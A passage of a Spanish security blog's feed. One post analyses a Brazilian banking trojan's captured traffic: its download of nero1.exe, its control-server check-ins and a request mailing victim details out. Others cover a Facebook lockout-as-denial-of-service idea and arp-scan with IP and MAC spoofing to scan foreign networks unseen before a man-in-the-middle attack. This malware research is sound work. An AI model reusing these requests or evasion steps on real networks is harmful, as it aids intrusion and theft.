in &lt;b&gt;/var/www/php/acesso.php&lt;/b&gt; on line &lt;b&gt;8&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fclose(): supplied argument is not a valid stream resource in &lt;b&gt;/var/www/php/acesso.php&lt;/b&gt; on line &lt;b&gt;9&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Pero siguen sin poder escribir en el archivo acessos.txt :(, que de hecho tiene un 0 guardado xD.&lt;br /&gt;&lt;br /&gt;3-Y bueno... (pensé que no daba para mas...) ahora se le ocurrió descargar otro bichito mas oO...&lt;br /&gt;&lt;br /&gt;/*PETICION*/&lt;br /&gt;GET /nero1.exe HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)&lt;br /&gt;Host: correioss.info&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 09 Jul 2010 03:42:32 GMT&lt;br /&gt;Server: Apache/2.2.8 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8&lt;br /&gt;Last-Modified: Wed, 07 Jul 2010 14:49:37 GMT&lt;br /&gt;ETag: "7f98680-233600-48acd475c4240"&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Content-Length: 2307584&lt;br /&gt;Keep-Alive: timeout=15, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: application/x-msdos-program&lt;br /&gt;&lt;br /&gt;Como se imaginaran en esta respuesta llegó una buena cantidad de bytes correspondientes al archivo "nero1.exe" que acaba de descargarse.&lt;br /&gt;&lt;br /&gt;El ultimo mensaje http es el siguiente:&lt;br /&gt;&lt;br /&gt;NTkrnl Secure Suite &lt;br /&gt;Version 0.1 &lt;br /&gt;Metamorphism Portable Executable (PE) Packer and Protector Library &lt;br /&gt;Copyright . 2006-2007 Ashkbiz Danehkar &lt;br /&gt;All Rights Reserved&lt;br /&gt;&lt;br /&gt;Homepage: http://www.ntkrnl.com&amp;nbsp; &lt;br /&gt;E-mail: info@ntkrnl.com NTkrnl Geborgene Zeug &lt;br /&gt;Version 0.1 &lt;br /&gt;Metamorphismus Portable Executable (PE) Packer und Besch.tzer Bibliothek &lt;br /&gt;Urheberrechtlicher . 2006-2007 Ashkbiz Danehkar &lt;br /&gt;Alle Rechten reservierten&lt;br /&gt;&lt;br /&gt;HauseSeite: http://www.ntkrnl.com&amp;nbsp;&amp;nbsp; &lt;br /&gt;E-Mail: info@ntkrnl.com NTkrnl Sicuro Seguito &lt;br /&gt;Version 0.1 &lt;br /&gt;Metamorphism Portable Eseguibile (PE) Biblioteca del Imballatore e del Protettore &lt;br /&gt;Propriet. letterario riservato . 2006-2007 Ashkbiz Danehkar &lt;br /&gt;&lt;br /&gt;Casa pagina: http://www.ntkrnl.com&amp;nbsp; &lt;br /&gt;E-mail: info@ntkrnl.com&lt;br /&gt;&lt;br /&gt;JA!, el sitio está fuera, pero básicamente consiste en una suerte de protector de código (para que la gente que sabe de estas cosas no pueda descubrir el real funcionamiento del bichito).&lt;br /&gt;&lt;br /&gt;Pero no termina aca :P, re denso son los tipitos estos jaja.&lt;br /&gt;&lt;br /&gt;4-Al parecer como todo iba mal en el dominio .info los chicos levantaron otro server en el dominio .net :P, el bichito pidio una resolución de nombres para www.correioss.net (ambas ips muy similares...). Una vez obtenida la ip conversaron un poco:&lt;br /&gt;&lt;br /&gt;/*PETICION*/ &lt;br /&gt;POST /enter.php HTTP/1.0&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 31&lt;br /&gt;Host: www.correioss.net&lt;br /&gt;Accept: text/html, */*&lt;br /&gt;User-Agent: Mozilla/3.0 (compatible; Indy Library)&lt;br /&gt;&lt;br /&gt;tipo=cli&amp;amp;cli=JUAN%2DAA57CF7254&amp;amp;&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/ &lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 09 Jul 2010 03:43:57 GMT&lt;br /&gt;Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8&lt;br /&gt;X-Powered-By: PHP/5.2.6-3ubuntu4&lt;br /&gt;Content-Length: 2&lt;br /&gt;Keep-Alive: timeout=15, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;OK&lt;br /&gt;&lt;br /&gt;ok? qué??? eso es todo? en la peticion se aclaran dos cosas un tipo=cli (cliente ?) y el nombre del cliente :P, yo!.&lt;br /&gt;&lt;br /&gt;5-JA!, mirá lo que hacen los nenessssss!!!&lt;br /&gt;&lt;br /&gt;/*PETICION*/&lt;br /&gt;POST /atualizado/update.php HTTP/1.0&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 149&lt;br /&gt;Host: correioss.net&lt;br /&gt;Accept: text/html, */*&lt;br /&gt;User-Agent: Mozilla/3.0 (compatible; Indy Library)&lt;br /&gt;&lt;br /&gt;praquem=wwwcaix%40gmail%2Ecom&amp;amp;titulo=JUAN%2DAA57CF7254+007&amp;amp;texto=%2E%2E%2E%2E%2Eby%2Ecyrus%2E%23%40%2E%2E%2E%2E%2E%0D%0AAtualizada+para%3A+007%0D%0A&amp;amp;&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/ &lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 09 Jul 2010 03:43:58 GMT&lt;br /&gt;Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8&lt;br /&gt;X-Powered-By: PHP/5.2.6-3ubuntu4&lt;br /&gt;Content-Length: 0&lt;br /&gt;Keep-Alive: timeout=15, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;Que tiernosss ¬¬, ahora están poniendose al día :P, /atualizado/update.php contiene la siguiente info:&lt;br /&gt;&lt;br /&gt;praquem=wwwcaix@gmail.com&amp;amp;titulo=JUAN-AA57CF7254 007&amp;amp;texto=.....by.cyrus.#@..... Atualizada para: 007 &amp;amp;&lt;br /&gt;&lt;br /&gt;Osea que ahora wwwcaix@gmail.com recibe un mail con mis datos :P, "hola caix soy juan ¬¬" y cyrus no pudo contenerse e incluirse en el contenido del mail :P.&lt;br /&gt;&lt;br /&gt;6-Luego algo extraño que no voy a incluir hasta no estar seguro.&lt;br /&gt;&lt;br /&gt;7-Otra resolución de nombres :D, esta vez por www.itau.com.br&lt;br /&gt;&lt;br /&gt;/*PETICION*/&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Language: es&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)&lt;br /&gt;Host: www.itau.com.br&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;/*RESPUESTA*/&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 09 Jul 2010 03:41:23 GMT&lt;br /&gt;Server: IBM_HTTP_Server&lt;br /&gt;Last-Modified: Fri, 14 May 2010 22:16:22 GMT&lt;br /&gt;ETag: "265e-16c7-39a1d980"&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;Content-Encoding: gzip&lt;br /&gt;Content-Length: 1410&lt;br /&gt;Keep-Alive: timeout=5, max=500000&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;Esta parte realmente me dio cagaso... itaú es un banco brasilero... Aparentemente en este punto no fue mas que un get al sitio del banco... o al menos eso parece... voy a ver un poco mas sobre este punto cuando tenga tiempo.&lt;br /&gt;&lt;br /&gt;8-Otra resolución, esta vez por updater.hd1.com.br y buscando lo siguiente:&lt;br /&gt;&lt;br /&gt;/*PETICION*/&lt;br /&gt;GET /versaoatual.txt HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)&lt;br /&gt;Host: updater.hd1.com.br&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Type: text/plain&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;ETag: "-803475731"&lt;br /&gt;Last-Modified: Wed, 07 Jul 2010 15:52:35 GMT&lt;br /&gt;Content-Length: 3&lt;br /&gt;Date: Fri, 09 Jul 2010 04:42:03 GMT&lt;br /&gt;Server: lighttpd/1.4.19&lt;br /&gt;&lt;br /&gt;007&lt;br /&gt;&lt;br /&gt;/*PETICION*/ &lt;br /&gt;GET /downloadkey.txt HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)&lt;br /&gt;Host: updater.hd1.com.br&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Type: text/plain&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;ETag: "129092051"&lt;br /&gt;Last-Modified: Sun, 04 Jul 2010 06:36:48 GMT&lt;br /&gt;Content-Length: 31&lt;br /&gt;Date: Fri, 09 Jul 2010 04:42:03 GMT&lt;br /&gt;Server: lighttpd/1.4.19&lt;br /&gt;&lt;br /&gt;http://correioss.info/nero1.exe&lt;br /&gt;&lt;br /&gt;Se acaban de descargar dos archivos... versaoatual.txt y downloadkey.txt... con información poco relevante a esta altura versaoatual.txt=007 y downloadkey.txt=http://correioss.info/nero1.exe. 007 número apropiado cierto? :P.&lt;br /&gt;&lt;br /&gt;Habría que escribir a nuestro amigo wwwcraix un mail???&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-1919123999148678990?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/1919123999148678990/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/los-chicos-de-brazil-y-sus-troyanos.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/1919123999148678990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/1919123999148678990'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/los-chicos-de-brazil-y-sus-troyanos.html' title='Los chicos de brazil y sus troyanos (botnet?)'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-nrWEUQlmUk/TDaczsK0UpI/AAAAAAAAADc/RBcQhxlK2vk/s72-c/botnet1.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-4287696400019899899</id><published>2010-07-06T16:57:00.002-03:00</published><updated>2010-07-06T17:42:22.567-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS'/><category scheme='http://www.blogger.com/atom/ns#' term='login'/><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><title type='text'>Jugando con el login the facebook</title><content type='html'>buenassss, un post cortito y divertido, jugando un poco antes de empezar a estudiar acabo de bloquear mi cuenta de facebook por exceso de intentos fallidos. Obtuve la siguiente imagen :D :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/TDOIbieCGZI/AAAAAAAAADE/OSRMs85foBs/s1600/DOS_facebook.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="275" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/TDOIbieCGZI/AAAAAAAAADE/OSRMs85foBs/s640/DOS_facebook.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Lo divertido en todo esto es que luego de muchos intentos fallidos la cuenta queda bloqueada y exige un cambio de contraseña (algo razonable???). No permite iniciar sesión... de ninguna manera aparentemente.&lt;br /&gt;&lt;br /&gt;Otro punto divertido es que ya cambié la contraseña 2 veces y sigo recibiendo el mismo mensaje :D, por lo tanto hasta ahora cabe la idea de que el bloqueo de la cuenta sea temporal... esto podría considerarse un ataque de denegación de servicio??? mmm, si acceder a mi cuenta fuese de vital importancia y alguien se encarga de que no pueda acceder... interesante :P, a charlar con los chicos de facebook.&lt;br /&gt;&lt;br /&gt;Me olvidé de contar la cantidad de accesos fallidos, ese es el próximo paso :D.&lt;br /&gt;&lt;br /&gt;Update I:&lt;br /&gt;&lt;br /&gt;Límite de solicitud de contraseñas alcanzado... sigo sin poder acceder a la cuenta. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TDOSm3pK9fI/AAAAAAAAADM/-vbWjbm02yo/s1600/DOS_facebook2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="228" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TDOSm3pK9fI/AAAAAAAAADM/-vbWjbm02yo/s640/DOS_facebook2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Un epic FAIL gracioso: solicitud "eSXpirada"&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TDOTDlR5r5I/AAAAAAAAADU/s7w3gYvv1hY/s1600/DOS_facebook1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="132" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TDOTDlR5r5I/AAAAAAAAADU/s7w3gYvv1hY/s640/DOS_facebook1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-4287696400019899899?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/4287696400019899899/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/jugando-con-el-loogin-facebook.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/4287696400019899899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/4287696400019899899'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/jugando-con-el-loogin-facebook.html' title='Jugando con el login the facebook'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-nrWEUQlmUk/TDOIbieCGZI/AAAAAAAAADE/OSRMs85foBs/s72-c/DOS_facebook.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-6975210086641591890</id><published>2010-05-02T03:57:00.000-03:00</published><updated>2010-05-02T03:57:15.300-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='hosts'/><category scheme='http://www.blogger.com/atom/ns#' term='IP'/><category scheme='http://www.blogger.com/atom/ns#' term='spoof'/><category scheme='http://www.blogger.com/atom/ns#' term='lan'/><category scheme='http://www.blogger.com/atom/ns#' term='spoffin'/><category scheme='http://www.blogger.com/atom/ns#' term='arp'/><title type='text'>Cuántos somos en esta red???</title><content type='html'>mmm un poco falto inspiración últimamente, terminando los parciales (o no, no estoy muy seguro xD). Hoy me entró la necesidad de poder saber al "instante" la totalidad de hosts conectados a una LAN, (que necesidades las mías xD). &lt;br /&gt;Lo primero que me vino a la mente fue hacer un ping a cada host de la red, pero cabe la posibilidad de que los hosts no respondan las ECHO-Request ICMP, entonces me estaría perdiendo alguno que otro. Entonces lo mas recomendable me pareció ser utilizar ARP (Address Resolution Protocol), protocolo esencial en las redes LAN para traducir las direcciones de red (IP en este caso) a direcciones de capa de enlace (Ethernet MAC address en este caso). &lt;br /&gt;&lt;br /&gt;Cabe aclarar que las comunicaciones entre hosts que pertenecen a un mismo segmento LAN se realiza mediante direcciones MAC, las direcciones IP realmente se utilizan cuando los hosts se encuentran en diferentes redes.&lt;br /&gt;&lt;br /&gt;Volviendo al tema... buscando alguna aplicación que sea útil para esta tarea me encontré inicialmente con "arping" (parte del paquete iputils), que justamente nos permite crear paquetes ARP. &lt;br /&gt;&lt;b&gt;&lt;br /&gt;Primero aproximación con arping:&lt;/b&gt;&lt;br /&gt;Podemos ver que el host 192.168.0.1 está activo y respondió a la primer consulta, entonces no fue necesario enviar mas. "-f deja de enviar ni bien recibe una respuesta" "-c 2 máximo de consultas".&lt;br /&gt;&lt;br /&gt;&lt;i style="font-family: Verdana,sans-serif;"&gt;root@moon:/home/juan# arping -f -c 2 -I eth0 192.168.0.1&lt;br /&gt;ARPING 192.168.0.1 from 192.168.0.36 eth0&lt;br /&gt;Unicast reply from 192.168.0.1 [00:08:54:29:06:__]&amp;nbsp; 0.876ms&lt;br /&gt;Sent 1 probes (1 broadcast(s))&lt;br /&gt;Received 1 response(s)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Definitivamente esto no es lo que queria, tener que repetir el comando mas de 200 veces para recorrer todo la red C no está en mis planes, si bien podría hacerse con un script, no me interesa.&lt;br /&gt;&lt;br /&gt;Buscando un poco mas encontré a don "arp-scan", el nombre es bastante explícito xD. Es bastante mas flexible que arping y nos permite realizar consultas a un rango de direcciones, una única dirección, o toda la red. El man de arp-scan es un poco rebuscado, pero se deja leer :D.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Probando arp-scan:&lt;/b&gt;&lt;br /&gt;Ahora si!, escaneamos un rango de direcciones de la red, desde 192.168.0.1 a 192.168.0.48 y nos encontramos con 4 hosts activos! &lt;br /&gt;&lt;br /&gt;&lt;i style="font-family: Verdana,sans-serif;"&gt;root@moon:/home/juan# arp-scan -I eth0 -q -r 1 192.168.0.1-192.168.0.48&lt;br /&gt;Interface: eth0, datalink type: EN10MB (Ethernet)&lt;br /&gt;Starting arp-scan 1.6 with 48 hosts (http://www.nta-monitor.com/tools/arp-scan/)&lt;br /&gt;192.168.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:08:54:29:06:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.10&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:27:19:dc:d7:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.20&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:e0:4c:a8:89:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.26&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:19:66:38:0a:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;4 packets received by filter, 0 packets dropped by kernel&lt;br /&gt;Ending arp-scan 1.6: 48 hosts scanned in 0.539 seconds (89.05 hosts/sec).&amp;nbsp; 4 responded&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Logré lo que pretendía, pero claramente se enviaron 48 ARP-Request con mi dirección IP como origen de la consulta. Que a dónde voy?, simple, si se trata de nuestra red no hay problema, nadie va a quejarse al ver tanto interés por parte de una dirección por conocer a todos los hosts activos, pero si no se trata de nuestra red? en el último caso sería muy interesante poder evitar que nuestra dirección de red y nuestra MAC se incluyeran en las consultas :D. Claro que si!!!, arp-scan nos permite alterar los campos del paquete ARP para lograr esto :D.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Arp-scan e IP spoof:&lt;/b&gt;&lt;br /&gt;Acá va el primer intento por anonimizar (existe?) las consultas. "-s 192.168.0.45" es la dirección que figurará como origen en la consulta, ahora ya no ponemos en juego nuestra dirección IP real! pero claro xD, aún enviamos nuestra dirección MAC original, es decir que aún somos un blanco fácil...&lt;br /&gt;&lt;br /&gt;&lt;i style="font-family: Verdana,sans-serif;"&gt;root@moon:/home/juan# arp-scan -I eth0 -r 1 -q -s 192.168.0.45 192.168.0.1-192.168.0.48&lt;br /&gt;Interface: eth0, datalink type: EN10MB (Ethernet)&lt;br /&gt;Starting arp-scan 1.6 with 48 hosts (http://www.nta-monitor.com/tools/arp-scan/)&lt;br /&gt;192.168.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:08:54:29:06:_&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.10&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:27:19:dc:d7:_&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.20&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:e0:4c:a8:89:_&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.26&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:19:66:38:0a:_&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;4 packets received by filter, 0 packets dropped by kernel&lt;br /&gt;Ending arp-scan 1.6: 48 hosts scanned in 0.465 seconds (103.23 hosts/sec).&amp;nbsp; 4 responded&lt;br /&gt;root@moon:/home/juan# &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Arp-scan e IP spoof + MAC spoof V1:&lt;/b&gt;&lt;br /&gt;El primer intento fue ir directamente a lo fácil y alterar todos los campos utilizando arp-scan, pero mi sorpresa fue estaa... Al cambiar tanto la dirección mac (de la consulta, como la que va dentro del paquete) como la dirección IP de origen, las respuestas no son capturadas correctamente por arp-scan (puede verificarse con wireshark (por ejemplo) que las consultas y respuestas se completan perfectamente) y podríamos creer que el host no está activo (192.168.0.1 está activo, aunque no lo parezca). Si bien es totalmente factible corroborar los hosts activos viendo las respuestas desde wireshark, estaríamos complicando mas el panorama, y esa jamás fue la idea :D.&lt;br /&gt;&lt;br /&gt;&lt;i style="font-family: Verdana,sans-serif;"&gt;root@moon:/home/juan# arp-scan -I eth0 -r 1 -q -S 00:11:22:33:44:55 -u 00:11:22:33:44:55 -s 192.168.0.45 192.168.0.1&lt;br /&gt;Interface: eth0, datalink type: EN10MB (Ethernet)&lt;br /&gt;Starting arp-scan 1.6 with 1 hosts (http://www.nta-monitor.com/tools/arp-scan/)&lt;br /&gt;&lt;br /&gt;0 packets received by filter, 0 packets dropped by kernel&lt;br /&gt;Ending arp-scan 1.6: 1 hosts scanned in 0.347 seconds (2.88 hosts/sec).&amp;nbsp; 0 responded&lt;br /&gt;root@moon:/home/juan# &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Arp-scan e IP spoof + MAC spoof V2: &lt;/b&gt;&lt;br /&gt;En esta versión primero cambiamos la dirección MAC de nuestro adaptador de red, utilizando macchanger (a decir verdad no es necesario utilizarlo, puede hacerse tranquilamente con ifconfig) y luego lanzamos nuestro querido arp-scan, para encontrarnos finalmente con los hosts activos, pero esta vez ocultando completamente nuestra identidad dentro de la red.&lt;br /&gt;&lt;br /&gt;&lt;i style="font-family: Verdana,sans-serif;"&gt;root@moon:/home/juan# macchanger -m 00:11:22:33:44:55 eth0&lt;br /&gt;Current MAC: 00:24:21:6d:00:36 (unknown)&lt;br /&gt;Faked MAC:&amp;nbsp;&amp;nbsp; 00:11:22:33:44:55 (Cimsys Inc)&lt;br /&gt;root@moon:/home/juan# arp-scan -I eth0 -r 1 -q -S 00:11:22:33:44:55 -u 00:11:22:33:44:55 -s 192.168.0.45 192.168.0.1-192.168.0.48&lt;br /&gt;Interface: eth0, datalink type: EN10MB (Ethernet)&lt;br /&gt;Starting arp-scan 1.6 with 48 hosts (http://www.nta-monitor.com/tools/arp-scan/)&lt;br /&gt;192.168.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:08:54:29:06:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.10&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:27:19:dc:d7:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.20&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:e0:4c:a8:89:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;192.168.0.26&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:19:66:38:0a:__&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;4 packets received by filter, 0 packets dropped by kernel&lt;br /&gt;Ending arp-scan 1.6: 48 hosts scanned in 0.476 seconds (100.84 hosts/sec).&amp;nbsp; 4 responded&lt;br /&gt;root@moon:/home/juan# &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Algunas consideraciones:&lt;/b&gt;&lt;br /&gt;-"Arp-scan e IP spoof" aunque parezca que fuimos cuidadosos no lo fuimos, wireshark detectó que una dirección MAC estaba asociada a dos direcciones de red, la dirección actual y la dirección falsa, esto podría haber disparado alarmas en alguno de los hosts y haber alertado al administrador.&lt;br /&gt;-Podría darse el caso donde la IP que elijamos para ocultarnos ya esté asignada en la red, seria interesante elegir una dirección que difícilmente esté en uso, para evitar conflictos de direcciones que puedan alarmar a los usuarios de los hosts o el administrador mismo.&lt;br /&gt;-Si si, esto es la previa para un ataque MITM (hombre en el medio), posiblemente en la próxima entrada :D.&lt;br /&gt;-arping no me permitió utilizar una dirección que no fuese la que tiene asignada la interface eth0, un poco de mal gusto xD.&lt;br /&gt;-Había pensado en una mas, pero se me acaba de olvidar :D.&lt;br /&gt;&lt;br /&gt;Ahora si que me bajó el sueño!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-6975210086641591890?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/6975210086641591890/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/05/cuantos-somos-en-esta-red.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/6975210086641591890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/6975210086641591890'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/05/cuantos-somos-en-esta-red.html' title='Cuántos somos en esta red???'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-7454883590829798327</id><published>2010-04-03T02:09:00.001-03:00</published><updated>2010-04-03T02:15:03.883-03:00</updated><title type='text'>Pequeeeeña intro MDNS (Multicast DNS):</title><content type='html'>Hoy (01/04/2010), mientras preparaba la próxima entrada del blog "casualmente" tenía wireshark corriendo y me encontré con un paquete que me llamó poderosamente la atención. El protocolo es MDNS, lo había visto antes pero siempre creí que se trataba de alguna de las aplicaciones que estaba corriendo.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Intro:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Googleando un poco encontré de que se trata: "Multicast DNS is a way of using familiar DNS programming interfaces, packet formats and operating semantics, in a small network where no conventional DNS server has been installed." (http://www.multicastdns.org/). Es decir, se trata de una 